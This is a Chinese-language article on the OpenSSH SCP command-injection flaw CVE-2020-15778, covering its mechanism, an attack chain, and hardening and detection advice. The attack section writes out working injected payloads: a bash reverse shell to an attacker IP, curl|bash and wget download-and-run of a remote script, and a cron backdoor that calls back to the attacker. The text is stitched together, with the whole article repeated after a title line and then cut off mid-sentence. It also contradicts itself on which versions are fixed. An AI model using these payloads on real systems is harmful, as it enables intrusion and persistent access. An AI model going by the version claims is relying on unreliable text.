1. 项目概述从一次内部安全演练说起去年在一次针对内部服务器的安全渗透测试中我们遇到了一个非常典型的场景目标系统是一个看似“固若金汤”的跳板机只开放了SSH端口22服务并且配置了强密码和密钥认证常规的暴力破解和漏洞扫描都无功而返。就在团队准备转向社会工程学方向时一个同事在检查已授权的公钥时无意间在authorized_keys文件里发现了一个熟悉的命令限制参数command。这个发现让我们瞬间想起了那个老生常谈却又时常被忽略的漏洞——OpenSSH的SCP命令注入漏洞也就是CVE-2020-15778。这个漏洞的特别之处在于它不依赖于SSH服务本身的认证绕过而是利用了SCPSecure Copy客户端在解析远程命令时的一个逻辑缺陷。攻击者无需知道用户密码或窃取私钥只要拥有一个受限的SSH账号哪怕这个账号只能执行特定的、看似无害的命令就有可能实现权限提升和命令执行。这就像你家的防盗门SSH认证非常坚固但猫眼SCP功能的设计却存在瑕疵允许外人通过特定的方式“伸手”进来拨动门内的锁舌。本文将从一个实战攻防的视角彻底拆解CVE-2020-15778。我们不仅会深入其技术原理更会还原一个完整的攻击链从信息收集、漏洞验证到实际的命令注入利用、权限维持最后深入探讨真正有效的防御方案和检测思路。无论你是安全工程师、系统管理员还是对底层安全机制感兴趣的开发者理解这个漏洞都能让你对“最小权限原则”和“攻击面管理”有更深刻的认识。2. 漏洞核心原理SCP客户端的“信任”与“背叛”要理解这个漏洞首先得弄清楚SCP的正常工作流程以及OpenSSH是如何处理远程命令的。2.1 SCP的正常工作流程当你执行scp local_file userremote_host:/tmp/时背后发生了以下几步本地构造命令你的SCP客户端比如/usr/bin/scp首先会通过SSH协议连接到remote_host。启动远程进程连接建立后本地SCP客户端会在远程主机上启动一个远程SCP进程。这个进程不是由你手动执行的而是由SSH服务端根据客户端的请求自动派生的。在旧版本中这个请求本质上是在远程执行一个命令类似于ssh userremote_host “scp -t /tmp/”这里的-t参数代表“to”接收方告诉远程的SCP进程准备接收文件到/tmp/目录。通信与传输本地和远程的SCP进程通过SSH建立的安全通道进行通信协商文件属性权限、时间戳然后传输文件数据。问题的关键就在于第二步本地SCP客户端是如何告诉服务端要执行什么命令的2.2 漏洞的根源命令拼接与shell元字符在受影响的OpenSSH版本8.3p1及之前中SCP客户端的实现存在一个逻辑问题。当处理包含空格或特殊字符的远程文件名或路径时客户端在构造远程命令字符串时没有进行充分的过滤或转义。假设我们想传输一个本地文件test.txt到远程主机的/tmp目录但故意使用一个恶意的文件名scp ‘test.txt’ userremote_host:‘/tmp/$(id /tmp/exploit)‘在理想的安全模型中远程SSH服务端应该收到一个安全的、参数化的命令比如将路径/tmp/$(id /tmp/exploit)作为一个整体字符串参数传递给远程的scp -t命令。然而存在漏洞的客户端实现可能会这样构造命令scp -t ‘/tmp/$(id /tmp/exploit)’注意这里的整个字符串是被单引号包裹的作为-t的一个参数。但是在某些代码执行路径下特别是当本地路径名也包含空格等复杂情况时客户端的代码可能会错误地处理引号或者服务端在最终执行命令时其调用逻辑例如通过ssh userhost command这种模式会先将命令字符串传递给一个shell如bash进行解析。于是在远程主机上实际发生的可能是SSH服务端收到连接和命令字符串scp -t ‘/tmp/$(id /tmp/exploit)’服务端为了执行这个命令会启动一个shell进程例如/bin/bash -c “scp -t ‘/tmp/$(id /tmp/exploit)’”。Shell在解析这条命令时会先进行命令替换。它会执行反引号或$()中的内容。因此$(id /tmp/exploit)会被执行将id命令的输出写入/tmp/exploit文件。命令替换完成后Shell试图执行的是scp -t ‘/tmp/‘因为$(id …)部分已被其输出结果替换但这里输出为空所以路径变成了/tmp/此时SCP传输可能失败但注入的命令id已经执行成功了。核心要点漏洞的本质是攻击者控制的输入文件名/路径被不安全地拼接到了发送给远程主机的命令字符串中并且该字符串最终在一个Shell上下文中被解析导致Shell元字符如、$()、;、等生效。2.3 受限环境下的威力倍增与authorized_keys的command联动单纯的命令注入如果攻击者已经有一个可以执行任意命令的shell那意义不大。CVE-2020-15778的威力在受限的SSH账号场景下被放大。系统管理员经常使用SSH的authorized_keys文件中的command选项来限制密钥的权限。例如command”/usr/local/bin/backup.sh”,no-port-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC…这个配置意味着使用对应私钥登录时只能执行/usr/local/bin/backup.sh这个脚本不能获得交互式shell也不能进行端口转发。这看起来非常安全。然而SCP命令的调用绕过了这个限制。因为command”…”限制的是SSH会话初始执行的命令。当客户端发起一个SCP连接时它请求执行的命令是scp -t /path这个命令与authorized_keys中规定的/usr/local/bin/backup.sh不匹配。在OpenSSH的默认配置下如果请求的命令不在允许的范围内连接会被拒绝。但是这里存在一个历史行为和配置问题在某些版本或配置下或者由于管理员的理解误区他们可能认为SCP是“安全的文件传输”从而在设置command限制时额外允许了scp命令。例如command”/usr/local/bin/backup.sh”,command”scp”,no-pty …或者更常见的是管理员错误地编写了包装脚本而脚本内部没有正确地过滤所有参数间接允许了SCP的执行。一旦SCP命令被允许执行攻击者就可以利用前述的命令注入漏洞将scp -t /path中的/path参数替换为恶意注入的payload从而在远程主机上执行任意的命令完全突破了command的限制实现了从“仅能执行备份脚本”到“可执行任意命令”的权限提升。3. 实战攻击链拆解从信息收集到站稳脚跟理解了原理我们来看一个完整的攻击模拟。假设目标主机是192.168.1.100我们通过某种方式如源码泄露、配置错误获得了一个受限的SSH私钥。3.1 第一阶段信息收集与权限确认首先我们需要确认这个密钥的权限。步骤1测试基础连接ssh -i compromised_key user192.168.1.100如果直接获得了shell那说明没有限制漏洞可能不适用但依然可以尝试注入。更可能的情况是连接被立即关闭或者提示“This account is restricted…”之类的信息这表明存在command或ForceCommand限制。步骤2尝试执行特定命令ssh -i compromised_key user192.168.1.100 id ssh -i compromised_key user192.168.1.100 ls -la这些命令很可能被拒绝返回类似“Permission denied”的错误。步骤3试探SCP是否被允许这是关键一步。我们尝试一个最简单的SCP操作从远程拉取一个可能存在的文件比如/etc/passwd或者推送一个无害的小文件。# 尝试从远程拉取文件如果知道一个确切存在的文件路径 scp -i compromised_key user192.168.1.100:/etc/hostname ./test_local # 尝试向远程推送文件 echo “test” testfile scp -i compromised_key testfile user192.168.1.100:/tmp/testfile_remote如果SCP成功即使文件不存在导致拉取失败但连接和命令协商阶段成功这意味着远程SSH服务允许执行scp命令。这是漏洞利用的前提。如果SCP也被拒绝说明限制非常严格连SCP命令也不允许那么此漏洞无法直接利用。攻击者可能需要寻找其他突破口比如利用包装脚本本身的逻辑漏洞。假设我们测试发现向/tmp目录推送文件成功。这说明我们拥有一个受限的、但允许执行SCP命令的SSH账号。3.2 第二阶段漏洞验证与命令注入确认SCP可用后我们开始验证漏洞是否存在。我们构造一个包含Shell元字符的“文件名”或“路径”。方法使用反引号或$()执行命令我们无法直接控制远程执行的scp命令但我们可以控制传递给它的参数即目标路径。# 尝试注入一个简单的命令将执行结果写入临时文件 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(touch /tmp/pwned_success)’ # 或者使用反引号 scp -i compromised_key testfile user192.168.1.100:‘/tmp/touch /tmp/pwned_success2’执行上述命令后观察SCP客户端的输出。它很可能会报错例如scp: /tmp/: not a regular file或者protocol error: unexpected newline这很正常甚至是我们期望的。因为注入的命令touch /tmp/pwned_success执行后它本身会被其输出空替换导致最终路径变成/tmp/SCP进程会因此出错。关键验证随后我们立即尝试利用这个受限账号执行一个SSH命令虽然会被限制但目的是检查注入是否成功。ssh -i compromised_key user192.168.1.100 “ls -la /tmp/pwned_success*”如果返回了/tmp/pwned_success文件的信息那么恭喜命令注入成功了我们成功地在远程主机上创建了文件突破了command的限制。3.3 第三阶段利用注入实现交互与权限维持单纯的执行touch命令证明漏洞存在但实战中我们需要更有用的能力比如反弹shell、下载木马、提权等。挑战由于command限制和可能的no-pty选项我们无法获得标准的交互式终端。我们的命令执行环境是“非交互式、无TTY”的。这限制了很多需要TTY的工具如sudo、su、vim等。利用技巧1反弹Shell我们可以注入命令来启动一个反向连接。# 在攻击机(192.168.1.50)上监听端口 nc -lvnp 4444 # 通过SCP注入执行反弹shell命令 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(bash -i /dev/tcp/192.168.1.50/4444 01)’如果目标主机有ncnetcat且支持-e参数也可以使用。但bash的/dev/tcp特性更为通用。连接成功后你将在攻击机的nc监听端获得一个远程的bash shell。注意这个shell可能仍然是受限的受原始用户权限限制并且没有完整的TTY。利用技巧2下载并执行Payload我们可以使用curl或wget下载后续的攻击载荷。# 注入命令下载脚本并执行 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(curl -s http://192.168.1.50/exploit.sh | bash)’ # 或者分步进行 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(wget -O /tmp/exp.sh http://192.168.1.50/exploit.sh)’ scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(chmod x /tmp/exp.sh /tmp/exp.sh)’利用技巧3权限提升与后门安装获得初始立足点后接下来的步骤就属于常规的内网渗透和权限提升范畴信息收集检查当前用户权限(id)、sudo权限(sudo -l)、SUID文件(find / -perm -4000 2/dev/null)、内核版本(uname -a)、运行的服务(ps aux)等。权限提升根据收集的信息利用本地内核漏洞、配置错误如可写的服务脚本、错误的sudo规则、弱密码等进行提权。安装后门为了持久化访问可以注入命令在crontab、~/.ssh/authorized_keys、系统服务目录等处添加后门。由于我们是通过注入执行命令可能需要处理用户环境变量和路径问题建议使用绝对路径。# 例如添加一个每5分钟连接一次的cron后门 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(echo “*/5 * * * * /bin/bash -c \”exec 9 /dev/tcp/192.168.1.50/5555 exec 09 exec 19 29 /bin/bash --noprofile -i\”” | crontab -)’实操心得在利用注入时路径中的空格和特殊字符需要仔细处理。使用单引号包裹整个远程路径参数是最稳妥的方式。此外由于注入的命令在非交互式Shell中执行复杂的管道和重定向可能需要多次尝试或使用bash -c “…”的形式来包裹。4. 防御方案深度剖析从补丁到架构面对CVE-2020-15778防御必须是多层次、纵深式的。仅仅打补丁可能不够需要从配置、监控和架构上综合应对。4.1 根本措施升级与补丁最直接的修复方式是升级OpenSSH到安全版本。OpenSSH 8.3p1 及以上版本已修复此漏洞。修复方式是在SCP客户端代码中对传递给远程的路径参数进行了更严格的验证和转义防止其被Shell解析。操作立即更新所有服务器的OpenSSH套件。对于无法立即升级的系统如某些嵌入式设备或老旧生产环境应考虑下述的缓解措施。4.2 配置加固正确使用command限制很多漏洞利用源于对command选项的错误配置。正确的配置哲学是“白名单最小化”并且要理解其与SCP的交互。避免在command中允许scp命令除非有绝对必要否则不要为受限密钥授予SCP权限。文件传输可以通过其他受控方式进行例如在允许的命令脚本如/usr/local/bin/backup.sh内部集成文件上传/下载逻辑。使用SFTP子系统并配合ChrootDirectory进行更严格的隔离。使用强制命令包装脚本如果必须允许某种形式的文件操作应该使用一个自定义的包装脚本并在脚本内部进行严格的参数过滤。# /usr/local/bin/restricted_scp_wrapper.sh #!/bin/bash # 只允许向特定目录传输特定后缀的文件 ALLOWED_DIR”/var/incoming/uploads” ALLOWED_EXT”.txt .log .dat” case “$SSH_ORIGINAL_COMMAND” in scp\ -t\ “$ALLOWED_DIR”/*) # 提取文件名检查后缀 filename$(echo “$SSH_ORIGINAL_COMMAND” | sed -n “s/.* ‘\([^’]*\)’$/\1/p” | xargs basename) ext”${filename##*.}” if [[ ” ${ALLOWED_EXT[]} ” ~ ” ${ext} ” ]]; then # 执行原始命令但路径已被我们验证 $SSH_ORIGINAL_COMMAND else echo “File extension .$ext not allowed.” exit 1 fi ;; *) echo “Command not allowed.” exit 1 ;; esac然后在authorized_keys中配置command”/usr/local/bin/restricted_scp_wrapper.sh” …。这个脚本尝试解析客户端原始命令($SSH_ORIGINAL_COMMAND)进行白名单校验。注意编写这样的脚本需要非常小心避免引入新的命令注入漏洞上述示例仅为思路参考。使用ForceCommand替代command在sshd_config中使用ForceCommand指令可以全局或基于用户/组限制命令管理起来可能比分散的authorized_keys条目更清晰。同样需要配合严格的脚本使用。4.3 网络与主机层防护网络访问控制严格限制SSH服务的访问来源IP使用防火墙如iptables、firewalld或云安全组仅允许管理终端和跳板机访问。使用证书认证替代密钥对于企业环境考虑使用SSH证书认证可以提供更细粒度、带过期时间的访问控制并且集中管理避免私钥散布。文件完整性监控使用AIDE、Tripwire或Osquery等工具监控~/.ssh/authorized_keys、/etc/ssh/sshd_config等关键文件的变更。审计与日志分析确保SSH日志(/var/log/auth.log或/var/log/secure)被收集并集中分析。关注异常模式的SCP连接特别是那些命令参数异常长、包含特殊字符的连接尝试。4.4 架构层面减少攻击面隔离跳板机堡垒机所有运维访问必须通过统一的、经过严格加固的跳板机。跳板机上禁用不必要的服务安装HIDS主机入侵检测系统并实施会话录制和命令审计。摒弃SCP转向更安全的替代品SFTPOpenSSH内置的SFTP子系统是一个更安全的选择。它可以被ChrootDirectory严格限制在特定目录并且其协议设计不涉及在远程执行shell命令。Rsync over SSH虽然rsync也通过SSH运行但它通常以更可控的方式调用远程rsync守护进程或命令。但仍需注意其本身的参数注入问题历史上有相关CVE。专门的文件传输服务对于自动化文件传输可以考虑使用FTP over TLS/SSL、HTTPS API、或对象存储服务完全剥离与SSH的耦合。5. 检测与应急响应当漏洞可能已被利用如果你管理着大量服务器并且不确定是否已经遭受利用可以采取以下步骤进行检测和响应。5.1 入侵指标排查检查SSH日志中的异常SCP命令在SSH日志中搜索包含反引号、$()、分号;、管道|等字符的SCP会话。grep “scp” /var/log/auth.log | grep -E “[;\|\$\(\)]”检查可疑的文件创建和进程关注/tmp、/dev/shm等临时目录下近期创建的可疑文件。检查是否有未知的定时任务(crontab -l、/etc/cron.*/)、系统服务、或~/.ssh/authorized_keys中的陌生密钥。检查网络连接使用netstat -antp或ss -antp查看是否有未知的外连或监听端口特别是连接到非标准端口或可疑IP的连接。5.2 应急响应步骤立即隔离如果确认某台服务器被入侵立即将其从网络中断开或通过防火墙阻断其所有出站和入站连接除管理通道外。备份现场对内存(dump)、进程列表(ps auxf)、网络连接(netstat)、登录日志(last、w)、SSH日志等进行备份以备后续取证分析。消除后门根据排查结果清除恶意文件、定时任务、非法密钥和账户。修复漏洞升级OpenSSH并按照前述方案加固SSH配置。全面排查以被入侵主机为起点排查同一网络段内、有信任关系SSH密钥互信、sudo规则等的其他主机。重置凭证更换所有可能泄露的SSH密钥、用户密码、服务账户密码。5.3 搭建模拟环境进行验证对于安全团队来说最好的理解方式就是亲手验证。你可以在隔离的虚拟机中搭建环境安装一个旧版本的OpenSSH 8.3p1。创建一个受限的SSH用户在authorized_keys中设置command”scp”。尝试从另一台主机利用该漏洞执行命令。升级OpenSSH验证漏洞是否修复。尝试配置各种防御措施如包装脚本、SFTP Chroot并测试其有效性。这个过程能让你对漏洞的触发条件、利用限制和防御效果有最直观的认识。CVE-2020-15778给我们的教训是深刻的安全是一个整体任何一个环节的“想当然”都可能成为突破口。它提醒我们在实施“最小权限原则”时必须彻底理解所使用工具的全部行为含义特别是那些涉及命令解释和参数传递的边界情况。对于系统管理员和安全工程师而言持续学习、深度理解协议与工具的底层逻辑并保持对配置的审慎是构筑真正有效防御的基石。在实战中攻击者往往就是利用这些细微的理解偏差和配置疏忽撕开整个防御体系的裂口。
CVE-2020-15778:OpenSSH SCP命令注入漏洞原理与实战攻防
发布时间:2026/7/6 11:35:48
1. 项目概述从一次内部安全演练说起去年在一次针对内部服务器的安全渗透测试中我们遇到了一个非常典型的场景目标系统是一个看似“固若金汤”的跳板机只开放了SSH端口22服务并且配置了强密码和密钥认证常规的暴力破解和漏洞扫描都无功而返。就在团队准备转向社会工程学方向时一个同事在检查已授权的公钥时无意间在authorized_keys文件里发现了一个熟悉的命令限制参数command。这个发现让我们瞬间想起了那个老生常谈却又时常被忽略的漏洞——OpenSSH的SCP命令注入漏洞也就是CVE-2020-15778。这个漏洞的特别之处在于它不依赖于SSH服务本身的认证绕过而是利用了SCPSecure Copy客户端在解析远程命令时的一个逻辑缺陷。攻击者无需知道用户密码或窃取私钥只要拥有一个受限的SSH账号哪怕这个账号只能执行特定的、看似无害的命令就有可能实现权限提升和命令执行。这就像你家的防盗门SSH认证非常坚固但猫眼SCP功能的设计却存在瑕疵允许外人通过特定的方式“伸手”进来拨动门内的锁舌。本文将从一个实战攻防的视角彻底拆解CVE-2020-15778。我们不仅会深入其技术原理更会还原一个完整的攻击链从信息收集、漏洞验证到实际的命令注入利用、权限维持最后深入探讨真正有效的防御方案和检测思路。无论你是安全工程师、系统管理员还是对底层安全机制感兴趣的开发者理解这个漏洞都能让你对“最小权限原则”和“攻击面管理”有更深刻的认识。2. 漏洞核心原理SCP客户端的“信任”与“背叛”要理解这个漏洞首先得弄清楚SCP的正常工作流程以及OpenSSH是如何处理远程命令的。2.1 SCP的正常工作流程当你执行scp local_file userremote_host:/tmp/时背后发生了以下几步本地构造命令你的SCP客户端比如/usr/bin/scp首先会通过SSH协议连接到remote_host。启动远程进程连接建立后本地SCP客户端会在远程主机上启动一个远程SCP进程。这个进程不是由你手动执行的而是由SSH服务端根据客户端的请求自动派生的。在旧版本中这个请求本质上是在远程执行一个命令类似于ssh userremote_host “scp -t /tmp/”这里的-t参数代表“to”接收方告诉远程的SCP进程准备接收文件到/tmp/目录。通信与传输本地和远程的SCP进程通过SSH建立的安全通道进行通信协商文件属性权限、时间戳然后传输文件数据。问题的关键就在于第二步本地SCP客户端是如何告诉服务端要执行什么命令的2.2 漏洞的根源命令拼接与shell元字符在受影响的OpenSSH版本8.3p1及之前中SCP客户端的实现存在一个逻辑问题。当处理包含空格或特殊字符的远程文件名或路径时客户端在构造远程命令字符串时没有进行充分的过滤或转义。假设我们想传输一个本地文件test.txt到远程主机的/tmp目录但故意使用一个恶意的文件名scp ‘test.txt’ userremote_host:‘/tmp/$(id /tmp/exploit)‘在理想的安全模型中远程SSH服务端应该收到一个安全的、参数化的命令比如将路径/tmp/$(id /tmp/exploit)作为一个整体字符串参数传递给远程的scp -t命令。然而存在漏洞的客户端实现可能会这样构造命令scp -t ‘/tmp/$(id /tmp/exploit)’注意这里的整个字符串是被单引号包裹的作为-t的一个参数。但是在某些代码执行路径下特别是当本地路径名也包含空格等复杂情况时客户端的代码可能会错误地处理引号或者服务端在最终执行命令时其调用逻辑例如通过ssh userhost command这种模式会先将命令字符串传递给一个shell如bash进行解析。于是在远程主机上实际发生的可能是SSH服务端收到连接和命令字符串scp -t ‘/tmp/$(id /tmp/exploit)’服务端为了执行这个命令会启动一个shell进程例如/bin/bash -c “scp -t ‘/tmp/$(id /tmp/exploit)’”。Shell在解析这条命令时会先进行命令替换。它会执行反引号或$()中的内容。因此$(id /tmp/exploit)会被执行将id命令的输出写入/tmp/exploit文件。命令替换完成后Shell试图执行的是scp -t ‘/tmp/‘因为$(id …)部分已被其输出结果替换但这里输出为空所以路径变成了/tmp/此时SCP传输可能失败但注入的命令id已经执行成功了。核心要点漏洞的本质是攻击者控制的输入文件名/路径被不安全地拼接到了发送给远程主机的命令字符串中并且该字符串最终在一个Shell上下文中被解析导致Shell元字符如、$()、;、等生效。2.3 受限环境下的威力倍增与authorized_keys的command联动单纯的命令注入如果攻击者已经有一个可以执行任意命令的shell那意义不大。CVE-2020-15778的威力在受限的SSH账号场景下被放大。系统管理员经常使用SSH的authorized_keys文件中的command选项来限制密钥的权限。例如command”/usr/local/bin/backup.sh”,no-port-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC…这个配置意味着使用对应私钥登录时只能执行/usr/local/bin/backup.sh这个脚本不能获得交互式shell也不能进行端口转发。这看起来非常安全。然而SCP命令的调用绕过了这个限制。因为command”…”限制的是SSH会话初始执行的命令。当客户端发起一个SCP连接时它请求执行的命令是scp -t /path这个命令与authorized_keys中规定的/usr/local/bin/backup.sh不匹配。在OpenSSH的默认配置下如果请求的命令不在允许的范围内连接会被拒绝。但是这里存在一个历史行为和配置问题在某些版本或配置下或者由于管理员的理解误区他们可能认为SCP是“安全的文件传输”从而在设置command限制时额外允许了scp命令。例如command”/usr/local/bin/backup.sh”,command”scp”,no-pty …或者更常见的是管理员错误地编写了包装脚本而脚本内部没有正确地过滤所有参数间接允许了SCP的执行。一旦SCP命令被允许执行攻击者就可以利用前述的命令注入漏洞将scp -t /path中的/path参数替换为恶意注入的payload从而在远程主机上执行任意的命令完全突破了command的限制实现了从“仅能执行备份脚本”到“可执行任意命令”的权限提升。3. 实战攻击链拆解从信息收集到站稳脚跟理解了原理我们来看一个完整的攻击模拟。假设目标主机是192.168.1.100我们通过某种方式如源码泄露、配置错误获得了一个受限的SSH私钥。3.1 第一阶段信息收集与权限确认首先我们需要确认这个密钥的权限。步骤1测试基础连接ssh -i compromised_key user192.168.1.100如果直接获得了shell那说明没有限制漏洞可能不适用但依然可以尝试注入。更可能的情况是连接被立即关闭或者提示“This account is restricted…”之类的信息这表明存在command或ForceCommand限制。步骤2尝试执行特定命令ssh -i compromised_key user192.168.1.100 id ssh -i compromised_key user192.168.1.100 ls -la这些命令很可能被拒绝返回类似“Permission denied”的错误。步骤3试探SCP是否被允许这是关键一步。我们尝试一个最简单的SCP操作从远程拉取一个可能存在的文件比如/etc/passwd或者推送一个无害的小文件。# 尝试从远程拉取文件如果知道一个确切存在的文件路径 scp -i compromised_key user192.168.1.100:/etc/hostname ./test_local # 尝试向远程推送文件 echo “test” testfile scp -i compromised_key testfile user192.168.1.100:/tmp/testfile_remote如果SCP成功即使文件不存在导致拉取失败但连接和命令协商阶段成功这意味着远程SSH服务允许执行scp命令。这是漏洞利用的前提。如果SCP也被拒绝说明限制非常严格连SCP命令也不允许那么此漏洞无法直接利用。攻击者可能需要寻找其他突破口比如利用包装脚本本身的逻辑漏洞。假设我们测试发现向/tmp目录推送文件成功。这说明我们拥有一个受限的、但允许执行SCP命令的SSH账号。3.2 第二阶段漏洞验证与命令注入确认SCP可用后我们开始验证漏洞是否存在。我们构造一个包含Shell元字符的“文件名”或“路径”。方法使用反引号或$()执行命令我们无法直接控制远程执行的scp命令但我们可以控制传递给它的参数即目标路径。# 尝试注入一个简单的命令将执行结果写入临时文件 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(touch /tmp/pwned_success)’ # 或者使用反引号 scp -i compromised_key testfile user192.168.1.100:‘/tmp/touch /tmp/pwned_success2’执行上述命令后观察SCP客户端的输出。它很可能会报错例如scp: /tmp/: not a regular file或者protocol error: unexpected newline这很正常甚至是我们期望的。因为注入的命令touch /tmp/pwned_success执行后它本身会被其输出空替换导致最终路径变成/tmp/SCP进程会因此出错。关键验证随后我们立即尝试利用这个受限账号执行一个SSH命令虽然会被限制但目的是检查注入是否成功。ssh -i compromised_key user192.168.1.100 “ls -la /tmp/pwned_success*”如果返回了/tmp/pwned_success文件的信息那么恭喜命令注入成功了我们成功地在远程主机上创建了文件突破了command的限制。3.3 第三阶段利用注入实现交互与权限维持单纯的执行touch命令证明漏洞存在但实战中我们需要更有用的能力比如反弹shell、下载木马、提权等。挑战由于command限制和可能的no-pty选项我们无法获得标准的交互式终端。我们的命令执行环境是“非交互式、无TTY”的。这限制了很多需要TTY的工具如sudo、su、vim等。利用技巧1反弹Shell我们可以注入命令来启动一个反向连接。# 在攻击机(192.168.1.50)上监听端口 nc -lvnp 4444 # 通过SCP注入执行反弹shell命令 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(bash -i /dev/tcp/192.168.1.50/4444 01)’如果目标主机有ncnetcat且支持-e参数也可以使用。但bash的/dev/tcp特性更为通用。连接成功后你将在攻击机的nc监听端获得一个远程的bash shell。注意这个shell可能仍然是受限的受原始用户权限限制并且没有完整的TTY。利用技巧2下载并执行Payload我们可以使用curl或wget下载后续的攻击载荷。# 注入命令下载脚本并执行 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(curl -s http://192.168.1.50/exploit.sh | bash)’ # 或者分步进行 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(wget -O /tmp/exp.sh http://192.168.1.50/exploit.sh)’ scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(chmod x /tmp/exp.sh /tmp/exp.sh)’利用技巧3权限提升与后门安装获得初始立足点后接下来的步骤就属于常规的内网渗透和权限提升范畴信息收集检查当前用户权限(id)、sudo权限(sudo -l)、SUID文件(find / -perm -4000 2/dev/null)、内核版本(uname -a)、运行的服务(ps aux)等。权限提升根据收集的信息利用本地内核漏洞、配置错误如可写的服务脚本、错误的sudo规则、弱密码等进行提权。安装后门为了持久化访问可以注入命令在crontab、~/.ssh/authorized_keys、系统服务目录等处添加后门。由于我们是通过注入执行命令可能需要处理用户环境变量和路径问题建议使用绝对路径。# 例如添加一个每5分钟连接一次的cron后门 scp -i compromised_key testfile user192.168.1.100:‘/tmp/$(echo “*/5 * * * * /bin/bash -c \”exec 9 /dev/tcp/192.168.1.50/5555 exec 09 exec 19 29 /bin/bash --noprofile -i\”” | crontab -)’实操心得在利用注入时路径中的空格和特殊字符需要仔细处理。使用单引号包裹整个远程路径参数是最稳妥的方式。此外由于注入的命令在非交互式Shell中执行复杂的管道和重定向可能需要多次尝试或使用bash -c “…”的形式来包裹。4. 防御方案深度剖析从补丁到架构面对CVE-2020-15778防御必须是多层次、纵深式的。仅仅打补丁可能不够需要从配置、监控和架构上综合应对。4.1 根本措施升级与补丁最直接的修复方式是升级OpenSSH到安全版本。OpenSSH 8.3p1 及以上版本已修复此漏洞。修复方式是在SCP客户端代码中对传递给远程的路径参数进行了更严格的验证和转义防止其被Shell解析。操作立即更新所有服务器的OpenSSH套件。对于无法立即升级的系统如某些嵌入式设备或老旧生产环境应考虑下述的缓解措施。4.2 配置加固正确使用command限制很多漏洞利用源于对command选项的错误配置。正确的配置哲学是“白名单最小化”并且要理解其与SCP的交互。避免在command中允许scp命令除非有绝对必要否则不要为受限密钥授予SCP权限。文件传输可以通过其他受控方式进行例如在允许的命令脚本如/usr/local/bin/backup.sh内部集成文件上传/下载逻辑。使用SFTP子系统并配合ChrootDirectory进行更严格的隔离。使用强制命令包装脚本如果必须允许某种形式的文件操作应该使用一个自定义的包装脚本并在脚本内部进行严格的参数过滤。# /usr/local/bin/restricted_scp_wrapper.sh #!/bin/bash # 只允许向特定目录传输特定后缀的文件 ALLOWED_DIR”/var/incoming/uploads” ALLOWED_EXT”.txt .log .dat” case “$SSH_ORIGINAL_COMMAND” in scp\ -t\ “$ALLOWED_DIR”/*) # 提取文件名检查后缀 filename$(echo “$SSH_ORIGINAL_COMMAND” | sed -n “s/.* ‘\([^’]*\)’$/\1/p” | xargs basename) ext”${filename##*.}” if [[ ” ${ALLOWED_EXT[]} ” ~ ” ${ext} ” ]]; then # 执行原始命令但路径已被我们验证 $SSH_ORIGINAL_COMMAND else echo “File extension .$ext not allowed.” exit 1 fi ;; *) echo “Command not allowed.” exit 1 ;; esac然后在authorized_keys中配置command”/usr/local/bin/restricted_scp_wrapper.sh” …。这个脚本尝试解析客户端原始命令($SSH_ORIGINAL_COMMAND)进行白名单校验。注意编写这样的脚本需要非常小心避免引入新的命令注入漏洞上述示例仅为思路参考。使用ForceCommand替代command在sshd_config中使用ForceCommand指令可以全局或基于用户/组限制命令管理起来可能比分散的authorized_keys条目更清晰。同样需要配合严格的脚本使用。4.3 网络与主机层防护网络访问控制严格限制SSH服务的访问来源IP使用防火墙如iptables、firewalld或云安全组仅允许管理终端和跳板机访问。使用证书认证替代密钥对于企业环境考虑使用SSH证书认证可以提供更细粒度、带过期时间的访问控制并且集中管理避免私钥散布。文件完整性监控使用AIDE、Tripwire或Osquery等工具监控~/.ssh/authorized_keys、/etc/ssh/sshd_config等关键文件的变更。审计与日志分析确保SSH日志(/var/log/auth.log或/var/log/secure)被收集并集中分析。关注异常模式的SCP连接特别是那些命令参数异常长、包含特殊字符的连接尝试。4.4 架构层面减少攻击面隔离跳板机堡垒机所有运维访问必须通过统一的、经过严格加固的跳板机。跳板机上禁用不必要的服务安装HIDS主机入侵检测系统并实施会话录制和命令审计。摒弃SCP转向更安全的替代品SFTPOpenSSH内置的SFTP子系统是一个更安全的选择。它可以被ChrootDirectory严格限制在特定目录并且其协议设计不涉及在远程执行shell命令。Rsync over SSH虽然rsync也通过SSH运行但它通常以更可控的方式调用远程rsync守护进程或命令。但仍需注意其本身的参数注入问题历史上有相关CVE。专门的文件传输服务对于自动化文件传输可以考虑使用FTP over TLS/SSL、HTTPS API、或对象存储服务完全剥离与SSH的耦合。5. 检测与应急响应当漏洞可能已被利用如果你管理着大量服务器并且不确定是否已经遭受利用可以采取以下步骤进行检测和响应。5.1 入侵指标排查检查SSH日志中的异常SCP命令在SSH日志中搜索包含反引号、$()、分号;、管道|等字符的SCP会话。grep “scp” /var/log/auth.log | grep -E “[;\|\$\(\)]”检查可疑的文件创建和进程关注/tmp、/dev/shm等临时目录下近期创建的可疑文件。检查是否有未知的定时任务(crontab -l、/etc/cron.*/)、系统服务、或~/.ssh/authorized_keys中的陌生密钥。检查网络连接使用netstat -antp或ss -antp查看是否有未知的外连或监听端口特别是连接到非标准端口或可疑IP的连接。5.2 应急响应步骤立即隔离如果确认某台服务器被入侵立即将其从网络中断开或通过防火墙阻断其所有出站和入站连接除管理通道外。备份现场对内存(dump)、进程列表(ps auxf)、网络连接(netstat)、登录日志(last、w)、SSH日志等进行备份以备后续取证分析。消除后门根据排查结果清除恶意文件、定时任务、非法密钥和账户。修复漏洞升级OpenSSH并按照前述方案加固SSH配置。全面排查以被入侵主机为起点排查同一网络段内、有信任关系SSH密钥互信、sudo规则等的其他主机。重置凭证更换所有可能泄露的SSH密钥、用户密码、服务账户密码。5.3 搭建模拟环境进行验证对于安全团队来说最好的理解方式就是亲手验证。你可以在隔离的虚拟机中搭建环境安装一个旧版本的OpenSSH 8.3p1。创建一个受限的SSH用户在authorized_keys中设置command”scp”。尝试从另一台主机利用该漏洞执行命令。升级OpenSSH验证漏洞是否修复。尝试配置各种防御措施如包装脚本、SFTP 